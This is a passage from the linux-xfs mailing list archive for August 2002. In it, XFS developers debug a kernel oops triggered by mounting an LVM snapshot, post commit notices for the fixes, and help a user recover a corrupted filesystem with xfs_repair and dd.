suggested below > probably should be implemented as part of my patch - but that patch > probably won't go in for a bit. Eric, Fair enough. -- regards, Luciano Chavez lnx1138@us.ibm.com http://evms.sourceforge.net From owner-linux-xfs@oss.sgi.com Thu Aug 15 07:18:55 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7FEItRw004656 for ; Thu, 15 Aug 2002 07:18:55 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7FEItru004655 for linux-xfs-outgoing; Thu, 15 Aug 2002 07:18:55 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7FEImRw004625 for ; Thu, 15 Aug 2002 07:18:48 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id JAA39010; Thu, 15 Aug 2002 09:21:18 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id JAA56280; Thu, 15 Aug 2002 09:21:18 -0500 (CDT) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7FEJ9V19493; Thu, 15 Aug 2002 09:19:09 -0500 Subject: Re: oops when creating an lvm-snapshot From: Steve Lord To: Erik Tews Cc: linux-xfs@oss.sgi.com, lvm-devel@sistina.com In-Reply-To: <20020815104938.GB23422@no-maam.dyndns.org> References: <20020814170120.GA23422@no-maam.dyndns.org> <1029344832.15672.90.camel@jen.americas.sgi.com> <20020814183631.A21357@infradead.org> <20020815104938.GB23422@no-maam.dyndns.org> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 15 Aug 2002 09:19:09 -0500 Message-Id: <1029421149.11475.6.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-3.6 required=5.0 tests=IN_REP_TO,SIGNATURE_DELIM version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Thu, 2002-08-15 at 05:49, Erik Tews wrote: > Ok, I fetched your patch from cvs today. Snapshot seems to work fine, > but I cannot mount the snapshot. I did a mount -o nouuid > /dev/master/xfssnap /snap and at this moment my kernel oopsed. The > backtrace shows me that the oops happens in xfs_statfs which was called > by linvfs_read_super which was called by get_sb_bdev. Can you reproduce > this and do you know what happened? A complete stack backtrace would help here, I do not have LVM setup right now. In your second message you say it oopses after a reboot, I presume you mean it oopses mounting the snapshot in the same location as in the first case? Details please, details! Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Thu Aug 15 07:52:00 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7FEpxRw004998 for ; Thu, 15 Aug 2002 07:51:59 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7FEpx4o004997 for linux-xfs-outgoing; Thu, 15 Aug 2002 07:51:59 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from karnickel.franken.de (mx0-wue.franken.de [217.6.190.221]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7FEprRw004969 for ; Thu, 15 Aug 2002 07:51:53 -0700 Received: from karnickel.franken.de (localhost [127.0.0.1]) by karnickel.franken.de (8.12.2/8.12.2) with ESMTP id g7FEsSMq075628 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 15 Aug 2002 16:54:28 +0200 (CEST) (envelope-from erik@debian.franken.de) Received: (from uucp@localhost) by karnickel.franken.de (8.12.2/8.12.2/Submit) with UUCP id g7FEsRiJ075627; Thu, 15 Aug 2002 16:54:27 +0200 (CEST) (envelope-from erik@debian.franken.de) Received: by debian.franken.de (Postfix, from userid 1000) id 7A53734631; Thu, 15 Aug 2002 16:51:46 +0200 (CEST) Date: Thu, 15 Aug 2002 16:51:46 +0200 To: linux-xfs@oss.sgi.com Cc: lvm-devel@sistina.com Subject: Re: oops when creating an lvm-snapshot Message-ID: <20020815145145.GD23422@no-maam.dyndns.org> References: <20020814170120.GA23422@no-maam.dyndns.org> <1029344832.15672.90.camel@jen.americas.sgi.com> <20020814183631.A21357@infradead.org> <20020815104938.GB23422@no-maam.dyndns.org> <1029421149.11475.6.camel@jen.americas.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1029421149.11475.6.camel@jen.americas.sgi.com> User-Agent: Mutt/1.4i From: erik@debian.franken.de (Erik Tews) X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Thu, Aug 15, 2002 at 09:19:09AM -0500, Steve Lord wrote: > On Thu, 2002-08-15 at 05:49, Erik Tews wrote: > > Ok, I fetched your patch from cvs today. Snapshot seems to work fine, > > but I cannot mount the snapshot. I did a mount -o nouuid > > /dev/master/xfssnap /snap and at this moment my kernel oopsed. The > > backtrace shows me that the oops happens in xfs_statfs which was called > > by linvfs_read_super which was called by get_sb_bdev. Can you reproduce > > this and do you know what happened? > > A complete stack backtrace would help here, I do not have LVM setup > right now. > > In your second message you say it oopses after a reboot, I presume > you mean it oopses mounting the snapshot in the same location as > in the first case? > > Details please, details! OK, will generate the backtrace tomorrow And yes, it first crashed when I did mount /dev/master/xfs-snapshot /snap From owner-linux-xfs@oss.sgi.com Thu Aug 15 11:38:21 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7FIcLRw008371 for ; Thu, 15 Aug 2002 11:38:21 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7FIcL3s008370 for linux-xfs-outgoing; Thu, 15 Aug 2002 11:38:21 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7FIcDRw008339 for ; Thu, 15 Aug 2002 11:38:14 -0700 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id NAA41114; Thu, 15 Aug 2002 13:40:44 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id NAA25795; Thu, 15 Aug 2002 13:40:44 -0500 (CDT) Subject: Re: [lvm-devel] Re: oops when creating an lvm-snapshot From: Eric Sandeen To: "lvm-devel@sistina.com" Cc: linux-xfs@oss.sgi.com, Erik Tews In-Reply-To: <20020815104938.GB23422@no-maam.dyndns.org> References: <20020814170120.GA23422@no-maam.dyndns.org> <1029344832.15672.90.camel@jen.americas.sgi.com> <20020814183631.A21357@infradead.org> <20020815104938.GB23422@no-maam.dyndns.org> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) Date: 15 Aug 2002 13:35:00 -0500 Message-Id: <1029436500.30024.2.camel@stout.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Ok, the problem now is that Erik was not using -o ro when he tried to mount, and LVM rightly returned EACCES - but then we mishandled the error and oopsed. oops! Mounting with -o ro avoids the oops, and I have a fix here for the error return that I'll check in shortly. -Eric On Thu, 2002-08-15 at 05:49, Erik Tews wrote: > Ok, I fetched your patch from cvs today. Snapshot seems to work fine, > but I cannot mount the snapshot. I did a mount -o nouuid > /dev/master/xfssnap /snap and at this moment my kernel oopsed. The > backtrace shows me that the oops happens in xfs_statfs which was called > by linvfs_read_super which was called by get_sb_bdev. Can you reproduce > this and do you know what happened? -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. 651-683-3102 From owner-linux-xfs@oss.sgi.com Thu Aug 15 11:46:52 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7FIkqRw008622 for ; Thu, 15 Aug 2002 11:46:52 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7FIkqZo008621 for linux-xfs-outgoing; Thu, 15 Aug 2002 11:46:52 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7FIkkRw008591 for ; Thu, 15 Aug 2002 11:46:47 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id NAA41180 for ; Thu, 15 Aug 2002 13:49:18 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id NAA62420 for ; Thu, 15 Aug 2002 13:49:18 -0500 (CDT) From: Eric Sandeen Received: by stout.americas.sgi.com (8.11.6/SGI-client-1.7) id g7FIhXI01394; Thu, 15 Aug 2002 13:43:33 -0500 Message-Id: <200208151843.g7FIhXI01394@stout.americas.sgi.com> Date: Thu, 15 Aug 2002 13:43:33 -0500 Subject: TAKE - Fix mount path error handling (LVM snapshot "fix") X-Spam-Status: No, hits=0.9 required=5.0 tests=MISSING_HEADERS version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Erik was hitting this error when he tried to mount an lvm snapshot without -o ro, and we mishandled the EACCES return from LVM. pagebuf_lock_enable returns a pointer, and we weren't using ERR_PTR and friends to correctly propagate errors up to callers. Date: Thu Aug 15 11:47:01 PDT 2002 Workarea: stout.americas.sgi.com:/localhome/src/sandeen/2.4.x-xfs/workarea-alwaysclean The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:125185a linux/fs/xfs/xfs_vfsops.c - 1.370 - Handle ERR_PTR returns from pagebuf_lock_enable linux/fs/xfs/pagebuf/page_buf_locking.c - 1.25 - Return an ERR_PTR if pagebuf_lock_enable encounters an error. From owner-linux-xfs@oss.sgi.com Thu Aug 15 11:53:13 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7FIrDRw008815 for ; Thu, 15 Aug 2002 11:53:13 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7FIrDQ2008814 for linux-xfs-outgoing; Thu, 15 Aug 2002 11:53:13 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7FIr7Rw008783 for ; Thu, 15 Aug 2002 11:53:07 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id NAA41266 for ; Thu, 15 Aug 2002 13:55:39 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id NAA30616 for ; Thu, 15 Aug 2002 13:55:39 -0500 (CDT) From: Eric Sandeen Received: by stout.americas.sgi.com (8.11.6/SGI-client-1.7) id g7FIns701549; Thu, 15 Aug 2002 13:49:54 -0500 Message-Id: <200208151849.g7FIns701549@stout.americas.sgi.com> Date: Thu, 15 Aug 2002 13:49:54 -0500 Subject: TAKE - Put some defensive programming in the v2 log code X-Spam-Status: No, hits=0.9 required=5.0 tests=MISSING_HEADERS version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Playing with the version-changer for v2 logs, I hit this - If the log sync code gets a log sunit of 0, we get an oops. Glen has this bit of "defensive programming" in irix as well, to make sure we never get a sunit of 0 - bump it to 1 if we see it. Seems like this could go in the mount path instead of the log sync path, but Glen seemed to remember finding a reason that it won't work that way. Who am I to argue? :) Date: Thu Aug 15 11:53:36 PDT 2002 Workarea: stout.americas.sgi.com:/localhome/src/sandeen/2.4.x-xfs/workarea-alwaysclean The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:125188a linux/fs/xfs/xfs_log.c - 1.253 - Make sure we never get a 0 sunit - things go badly if this happens. Use "1" for "no sunit" From owner-linux-xfs@oss.sgi.com Thu Aug 15 11:57:42 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7FIvgRw009087 for ; Thu, 15 Aug 2002 11:57:42 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7FIvgRl009085 for linux-xfs-outgoing; Thu, 15 Aug 2002 11:57:42 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7FIvaRw009053 for ; Thu, 15 Aug 2002 11:57:37 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id OAA41169 for ; Thu, 15 Aug 2002 14:00:08 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id OAA45612 for ; Thu, 15 Aug 2002 14:00:08 -0500 (CDT) From: Eric Sandeen Received: by stout.americas.sgi.com (8.11.6/SGI-client-1.7) id g7FIsO601646; Thu, 15 Aug 2002 13:54:24 -0500 Message-Id: <200208151854.g7FIsO601646@stout.americas.sgi.com> Date: Thu, 15 Aug 2002 13:54:24 -0500 Subject: TAKE - Minor tweaks X-Spam-Status: No, hits=0.9 required=5.0 tests=MISSING_HEADERS version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Just cosmetic stuff. Added the PBR_SECTOR_ONLY case just to make it easier to find in cscope. :) Date: Thu Aug 15 11:59:05 PDT 2002 Workarea: stout.americas.sgi.com:/localhome/src/sandeen/2.4.x-xfs/workarea-alwaysclean The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:125189a linux/fs/xfs/xfs_inode.h - 1.167 - Remove reference to XFS_BIG_FILES in comment about max file offset, XFS_BIG_FILES is removed from Linux XFS now (defaulted). linux/fs/xfs/pagebuf/page_buf.c - 1.51 - Add a PBR_SECTOR_ONLY case to the pbr_flags switch in _pagebuf_page_io to make things a bit more obvious From owner-linux-xfs@oss.sgi.com Thu Aug 15 15:39:27 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7FMdRRw013945 for ; Thu, 15 Aug 2002 15:39:27 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7FMdRZc013944 for linux-xfs-outgoing; Thu, 15 Aug 2002 15:39:27 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from mx1.tippett.com (user-112vvgq.biz.mindspring.com [66.47.254.26]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7FMdFRw013916 for ; Thu, 15 Aug 2002 15:39:18 -0700 Received: from hermes.tippett.com (hermes.tippett.com [192.168.2.20]) by mx1.tippett.com (Postfix) with ESMTP id CAD7C1821223 for ; Thu, 15 Aug 2002 16:16:16 -0700 (PDT) Received: from tippett.com (felix.tippett.com [192.168.2.32]) by hermes.tippett.com (980427.SGI.8.8.8/8.7.3) with ESMTP id PAA49306 for ; Thu, 15 Aug 2002 15:41:21 -0700 (PDT) Message-ID: <3D5C2E2B.1D4C1356@tippett.com> Date: Thu, 15 Aug 2002 15:41:47 -0700 From: Christian Rice Organization: Tippett Studio X-Mailer: Mozilla 4.79C-SGI [en] (X11; I; IRIX64 6.5 IP28) X-Accept-Language: en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: corruption issue Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=0.8 required=5.0 tests=SIGNATURE_DELIM version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk I'm wondering if this is a recoverable situation: [root@ozu root]# xfs_repair /dev/hdb3 Phase 1 - find and verify superblock... sb root inode value 18446744073709551615 inconsistent with calculated value 13835051801809780864 resetting superblock root inode pointer to 18446744069414584448 sb realtime bitmap inode 18446744073709551615 inconsistent with calculated value 13835051801809780865 resetting superblock realtime bitmap ino pointer to 18446744069414584449 sb realtime summary inode 18446744073709551615 inconsistent with calculated value 13835051801809780866 resetting superblock realtime summary ino pointer to 18446744069414584450 Phase 2 - using internal log - zero log... ERROR: The filesystem has valuable metadata changes in a log which needs to be replayed. Mount the filesystem to replay the log, and unmount it before re-running xfs_repair. If you are unable to mount the filesystem, then use the -L option to destroy the log and attempt a repair. Note that destroying the log may cause corruption -- please attempt a mount of the filesystem before doing this. In the past, sometimes the entire contents of the disk end up in lost+found after xfs_repair -L. I ran xfs_repair -n, and it seemed to want to unlink quite a few inodes (thousands, including system files that could not have possibly been in active use during operation). Yes, the system crashed, I'm not absolutely positive I had write caching turned off (I've been using hdparm -W 0) on this system. It was running 2.4.18 with xfs 1.1, not the latest CVS stuff. Also, I ran the checks on a system with xfsprogs-2.0.3-0.rpm installed. Anybody can offer any hope, or do I mkfs now? If there's a recovery from this, that would save me and my sysadmins countless hours of work into the future, as we have perhaps 100 machines running xfs on linux. Thanks. -- christian rice director of technology tippett studio 510.649.9711 l--xr----- From owner-linux-xfs@oss.sgi.com Thu Aug 15 17:10:59 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7G0AxRw014898 for ; Thu, 15 Aug 2002 17:10:59 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7G0AwbX014897 for linux-xfs-outgoing; Thu, 15 Aug 2002 17:10:58 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7G0AiRw014868 for ; Thu, 15 Aug 2002 17:10:44 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id TAA42936; Thu, 15 Aug 2002 19:13:16 -0500 (CDT) Received: from [192.168.1.101] (IDENT:WVSCcR+9bTqI9MRkHYwWLyKL10eRl4z8@mtv-vpn-sw-corp-0-113.corp.sgi.com [134.15.0.113]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id TAA14569; Thu, 15 Aug 2002 19:13:15 -0500 (CDT) Subject: Re: corruption issue From: Stephen Lord To: Christian Rice Cc: linux-xfs@oss.sgi.com In-Reply-To: <3D5C2E2B.1D4C1356@tippett.com> References: <3D5C2E2B.1D4C1356@tippett.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.7 Date: 15 Aug 2002 19:13:11 -0500 Message-Id: <1029456794.1256.18.camel@snafu> Mime-Version: 1.0 X-Spam-Status: No, hits=-4.3 required=5.0 tests=IN_REP_TO,PORN_10 version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Thu, 2002-08-15 at 17:41, Christian Rice wrote: > I'm wondering if this is a recoverable situation: Ugh, so you actually ran repair on the filesystem here by the look of it. Those values in the super block are very strange, 18446744073709551615 is -1 as a 64 bit value. Hopefully the dirty log prevented repair from actually doing something to the disk. Have you attempted to mount the filesystem without running repair first? In general after some form of crash just mounting the fs is the best thing to do. Also please update your xfsprogs to the latest version from oss, there are almost certainly bug fixes since the copy you have. So try and mount the fs, report what that does, then if it mounted, unmount it and try running xfs_check on the filesystem and send us the output. It may also be useful to do dd off the first 4K of the filesystem and send that as well: dd if=/dev/hdb3 of =xxx bs=4k count=1 Do you know what happened to the system, was this a loss of power or a software crash? If there was valuable information on the disk then we can try and help get some of it back. It sounds like it was a system disk though. Steve > > [root@ozu root]# xfs_repair /dev/hdb3 > Phase 1 - find and verify superblock... > sb root inode value 18446744073709551615 inconsistent with calculated > value 13835051801809780864 > resetting superblock root inode pointer to 18446744069414584448 > sb realtime bitmap inode 18446744073709551615 inconsistent with > calculated value 13835051801809780865 > resetting superblock realtime bitmap ino pointer to 18446744069414584449 > sb realtime summary inode 18446744073709551615 inconsistent with > calculated value 13835051801809780866 > resetting superblock realtime summary ino pointer to > 18446744069414584450 > Phase 2 - using internal log > - zero log... > ERROR: The filesystem has valuable metadata changes in a log which needs > to be replayed. Mount the filesystem to replay the log, and unmount it > before re-running xfs_repair. If you are unable to mount the > filesystem, then use the -L option to destroy the log and attempt a > repair. > Note that destroying the log may cause corruption -- please attempt a > mount of the filesystem before doing this. > > > In the past, sometimes the entire contents of the disk end up in > lost+found after xfs_repair -L. I ran xfs_repair -n, and it seemed to > want to unlink quite a few inodes (thousands, including system files > that could not have possibly been in active use during operation). Yes, > the system crashed, I'm not absolutely positive I had write caching > turned off (I've been using hdparm -W 0) on this system. > > It was running 2.4.18 with xfs 1.1, not the latest CVS stuff. Also, I > ran the checks on a system with xfsprogs-2.0.3-0.rpm installed. > > Anybody can offer any hope, or do I mkfs now? If there's a recovery > from this, that would save me and my sysadmins countless hours of work > into the future, as we have perhaps 100 machines running xfs on linux. > > Thanks. > > -- > > christian rice director of technology > tippett studio 510.649.9711 l--xr----- -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Thu Aug 15 18:39:27 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7G1dRRw015828 for ; Thu, 15 Aug 2002 18:39:27 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7G1dRKX015827 for linux-xfs-outgoing; Thu, 15 Aug 2002 18:39:27 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from sunny.pacific.net.au (sunny.pacific.net.au [203.25.148.40]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7G1dJRw015798 for ; Thu, 15 Aug 2002 18:39:20 -0700 Received: from wisma.pacific.net.au (wisma.pacific.net.au [210.23.129.72]) by sunny.pacific.net.au with ESMTP id g7G1fvvm004120 for ; Fri, 16 Aug 2002 11:41:57 +1000 (EST) Received: from jdc.local (ppp229.dyn230.pacific.net.au [203.100.230.229]) by wisma.pacific.net.au with ESMTP id LAA10817 for ; Fri, 16 Aug 2002 11:41:55 +1000 (EST) Received: from jdc.local (LOCALHOST [127.0.0.1]) by jdc.local (8.12.1/8.12.1/Debian -5) with ESMTP id g7G1fmWX004917 for ; Fri, 16 Aug 2002 11:41:48 +1000 Received: (from jason@localhost) by jdc.local (8.12.1/8.12.1/Debian -5) id g7G1flbD004909; Fri, 16 Aug 2002 11:41:47 +1000 From: Jason White MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15708.22618.786062.458402@jdc.local> Date: Fri, 16 Aug 2002 11:41:46 +1000 To: linux-xfs Subject: Are there mmap problems with xfs 2.4.17? X-Mailer: VM 7.01 under Emacs 20.7.2 Reply-To: jasonw@ariel.ucs.unimelb.edu.au X-Spam-Status: No, hits=0.5 required=5.0 tests=SUBJ_ENDS_IN_Q_MARK,TO_LOCALPART_EQ_REAL version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk I am experiencing occasional and unpredictable "memory fault" errors with Berkeley DB 4.0.14 (I am testing Subversion: http://subversion.tigris.org/). On the Subversion mailing list it was suggested that if there are mmap problems with XFS, these might be the cause of the crashes, which seem to be due to Berkeley DB rather than the Subversion software itself. The kernel I am running is: Linux jdc 2.4.17-xfs #1 Sat Jan 19 16:47:16 EST 2002 i686 (checked out from cvs on that date). Any suggestions? I am willing to upgrade my kernel, but thought it best to inquire on the list first to find out whether this is likely to be XFS-related, if so whether it has been fixed and whether I can help to track it down. I am also waiting for 2.4.19-xfs to stabilize before upgrading; as I remember, there were bugs that Steve Lord and others were working on. There was some discussion of mmap problems recently, but that was only on power-pc - wasn't it? From owner-linux-xfs@oss.sgi.com Thu Aug 15 18:51:47 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7G1plRw016027 for ; Thu, 15 Aug 2002 18:51:47 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7G1plii016026 for linux-xfs-outgoing; Thu, 15 Aug 2002 18:51:47 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from mx1.tippett.com (user-112vvgq.biz.mindspring.com [66.47.254.26]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7G1p6Rw015989 for ; Thu, 15 Aug 2002 18:51:06 -0700 Received: from hermes.tippett.com (hermes.tippett.com [192.168.2.20]) by mx1.tippett.com (Postfix) with ESMTP id 3479D181FDB0; Thu, 15 Aug 2002 19:28:10 -0700 (PDT) Received: from tippett.com (felix.tippett.com [192.168.2.32]) by hermes.tippett.com (980427.SGI.8.8.8/8.7.3) with ESMTP id SAA48471; Thu, 15 Aug 2002 18:53:13 -0700 (PDT) Message-ID: <3D5C5B23.5126D407@tippett.com> Date: Thu, 15 Aug 2002 18:53:39 -0700 From: Christian Rice Organization: Tippett Studio X-Mailer: Mozilla 4.79C-SGI [en] (X11; I; IRIX64 6.5 IP28) X-Accept-Language: en MIME-Version: 1.0 To: Stephen Lord Cc: linux-xfs@oss.sgi.com Subject: Re: corruption issue References: <3D5C2E2B.1D4C1356@tippett.com> <1029456794.1256.18.camel@snafu> Content-Type: multipart/mixed; boundary="------------9F1F88350A8859F367C2797E" X-Spam-Status: No, hits=0.9 required=5.0 tests=PORN_10,SIGNATURE_DELIM version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk This is a multi-part message in MIME format. --------------9F1F88350A8859F367C2797E Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Stephen Lord wrote: > > On Thu, 2002-08-15 at 17:41, Christian Rice wrote: > > I'm wondering if this is a recoverable situation: > > Ugh, so you actually ran repair on the filesystem here by > the look of it. Those values in the super block are very > strange, 18446744073709551615 is -1 as a 64 bit value. > Hopefully the dirty log prevented repair from actually > doing something to the disk. Have you attempted to mount > the filesystem without running repair first? In general > after some form of crash just mounting the fs is the > best thing to do. Yeah, I ran xfs_repair on it after trying a mount and getting the usual: [root@ozu tmp]# mount -t xfs /dev/hdb3 /hdb3 mount: wrong fs type, bad option, bad superblock on /dev/hdb3, or too many mounted file systems xfs_repair complained as I submitted earlier, but I did not use the '-L' option. The disk is not critical--just typical of what is happening to us relatively regularly on Linux (never on IRIX!). A worthy bit of information to include--I have found sometimes rewriting the partition table makes the disk mountable again. I did that after trying a mount (fdisk /dev/hdb; write). Did I screw up? It's not highly scientific, to be sure. I have attached the dd output (xxx.gz) and, though I could not mount the filesystem, I ran xfs_check on it anyway. Well, it produced a little over 8GB of output, but most of it is repetitious after the first 1700 or so lines. This is with xfsprogs-2.2.1-0 installed now. The output is also attached. I hope it doesn't bog anyone's mbox down. I sure wouldn't mind knowing how to recover data from this type of situation--is there a paper/manual/brain transplant that imparts such knowledge. The owner of the data is not going to freak if this disk is lost, but I often find myself in this position. This exact problem is a great time-consumer for my systems guys. The workstation in which the disk was corrupted was hung while running Maya, and the user hit the reset key. I highly appreciate the help. > > Also please update your xfsprogs to the latest version from > oss, there are almost certainly bug fixes since the copy you > have. > > So try and mount the fs, report what that does, then if it > mounted, unmount it and try running xfs_check on the filesystem > and send us the output. It may also be useful to do dd off the > first 4K of the filesystem and send that as well: > > dd if=/dev/hdb3 of =xxx bs=4k count=1 > > Do you know what happened to the system, was this a loss of power > or a software crash? If there was valuable information on the disk > then we can try and help get some of it back. It sounds like it > was a system disk though. > > Steve > > > > > [root@ozu root]# xfs_repair /dev/hdb3 > > Phase 1 - find and verify superblock... > > sb root inode value 18446744073709551615 inconsistent with calculated > > value 13835051801809780864 > > resetting superblock root inode pointer to 18446744069414584448 > > sb realtime bitmap inode 18446744073709551615 inconsistent with > > calculated value 13835051801809780865 > > resetting superblock realtime 